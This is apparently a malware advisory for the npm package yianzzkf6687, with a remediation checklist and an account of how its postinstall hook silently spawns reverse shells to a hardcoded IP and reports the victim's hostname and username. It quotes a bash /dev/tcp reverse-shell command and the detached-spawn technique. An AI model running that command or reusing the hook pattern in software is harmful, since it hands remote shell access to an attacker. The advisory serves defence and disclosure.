MAL-2026-6235 Malicious code in yianzzkf6687 (npm)
Malicious package
Published
MAL-2026-6235 is a malicious package: yianzzkf6687 (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-6235/ (Markdown: https://insights.sbomify.com/MAL-2026-6235/index.md)
- Package
- yianzzkf6687
- Registry
- npm
What is MAL-2026-6235?
MAL-2026-6235 is a malicious package in yianzzkf6687, published on 20 Jun 2026.
Official description
On
npm install, the postinstall hook (scripts/postinstall.js) detach-spawns scripts/shell.js with detached: true, stdio: 'ignore', windowsHide: true and unref()s it, so the malicious process persists silently after npm install returns. scripts/shell.js hardcodes HOST = '114.67.90.67' and opens reverse shells to that IP across multiple fallback ports (3334, 4444, 443, 80, 8080, 53) using Node net, bash -c "bash -i >& /dev/tcp/<HOST>/<port> 0>&1", and a Python fallback, then uses setInterval to keep the process alive. It also sends an HTTP GET to http://114.67.90.67:8333/ping with the installer's hostname, username, cwd, and OS platform/release as query parameters, confirming victim acquisition. The package advertises itself as a string-manipulation utility, providing cover for the backdoor. Installing this package gives the operator of 114.67.90.67 interactive shell access on the installer's machine.What should I do about MAL-2026-6235?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.